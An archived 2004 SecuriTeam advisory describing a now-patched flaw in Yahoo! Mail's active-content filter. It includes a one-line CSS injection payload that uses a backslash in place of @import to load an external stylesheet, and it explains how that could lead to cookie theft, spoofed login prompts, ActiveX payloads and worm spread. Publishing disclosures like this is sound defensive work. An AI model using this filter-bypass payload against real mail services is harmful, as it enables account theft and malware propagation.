

[NEWS] Yahoo! E-Mail Service Inadequate ActiveX Blocking

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0083.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/26/04

To: list@securiteam.com

Date: 26 Aug 2004 11:04:05 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Yahoo! E-Mail Service Inadequate ActiveX Blocking

SUMMARY

Yahoo! Mail "gives you the freedom to access your email from home, the office, the road anywhere in the world there's a web-connected computer".

A vulnerability in Yahoo! Mail allows hackers to develop an attack that could have caused significant computer damage during regular Internet use, this is due to inadequate filtering of potential harmful HTML code.

DETAILS

The vulnerability resulted from the failure of Yahoo's active content filter to adequately block ActiveX controls and other active content components, and affected all Windows based system platforms that read e-mail messages using Yahoo Web-mail service. Active X controls are downloadable programs that run with the same rights and privileges as the user, allowing access to files and personal information stored on a local hard drive or shared folder. A no-click attack could have launched automatically once a user opened an e-mail message.

For example, the vulnerability could have also potentially allowed a worm

Securiteam: [NEWS] Yahoo! E-Mail Service Inadequate ActiveX Blocking

to read Windows address book, replicate and send itself to everyone in the address book, and have this process repeat at an exponential rate. It could have also harvested email addresses from local files, just like any other worm, and use the Yahoo web-mail vulnerability to send the email messages. Other web-based e-mail systems may be vulnerable to this vulnerability.

Technical details:

It is a potentially automatic attack. Users had to simply read the infected email message.

There are two variants of this vulnerability.

The purpose of Yahoo's active content filter is to block the injection of any active content into Yahoo! messages. However, the basic failure that allowed this vulnerability is that there was no blocking of a backslash that is used instead of the import rule.

Example:

```
<style><!--@ \ "http://www.finjan.com/mcrc/file.css";--></style>
```

The injected JavaScript code inside the CSS file is responsible for:

- Getting cookies.
- Automatic launching of malicious code.
- A possible identity theft using a spoofed re-login window.
- Sending an e-mail message.

The injected ActiveX control can be used for a destructive payload of the propagating worm. The basic attack does not require an ActiveX control.

The ActiveX control is the payload that can be used to extend the attack to non-web mail users, or to perform any malicious activity, including formatting of the hard disk. Upon using the ActiveX control, end user may get a security warning. It depends on the security setting of the browser.

Example:

```
<http://www.finjan.com/SecurityLab/SecurityTestingCenter/activex.asp>  
http://www.finjan.com/SecurityLab/SecurityTestingCenter/activex.asp (Click  
on the 'test me' button after reading the disclaimer)
```

Vendor Status:

Yahoo! has already patched their Web-based e-mail services.

ADDITIONAL INFORMATION

The information has been provided by <mailto:dshalev@finjan.com> Dror Shalev.

=====

Securiteam: [NEWS] Yahoo! E-Mail Service Inadequate ActiveX Blocking

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.